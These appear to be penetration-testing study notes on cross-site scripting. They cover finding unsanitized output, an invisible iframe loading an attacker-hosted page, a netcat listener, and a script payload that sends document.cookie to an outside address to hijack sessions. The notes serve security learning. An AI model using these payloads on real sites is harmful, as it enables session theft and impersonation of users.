Cross-Site Scripting

• If the data displayed on the website is not sanitized (server-side) we can abuse it to execute code under the context of the user viewing the page with their browser
  • Sometimes output can appear not to be sanitized, but it’s just encoded
  • To verify, use the browser’s debugger/inspector

Identifying XSS Vulnerabilities

• Search for input fields which display unsanitized output
  • Test with these characters: < > ' " { } ;

Basic XSS

• <script>alert('XSS')</script>

Content Injection

• <iframe src=http://10.11.0.4/report height=”0” width=”0”></iframe>
  • IFrames are used to embed another file, in our case the report page hosted by us
  • The IFrame is invisible since it doesn’t have any height or width
• To test if it works:
  • sudo nc -nvlp 80
  • Try normal user behavior and see if we see the request in netcat

Stealing Cookies and Session Information

• If we can steal a authenticated user’s cookie we can use it to impersonate them.
• <script>new Image().src="http://10.11.0.4/cool.jpg?output="+document.cookie;</script>
• Once the cookie has been retrieved, use the Cookie-Editor addon in Firefox to add/manipulate your own cookies

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Relevant Note(s):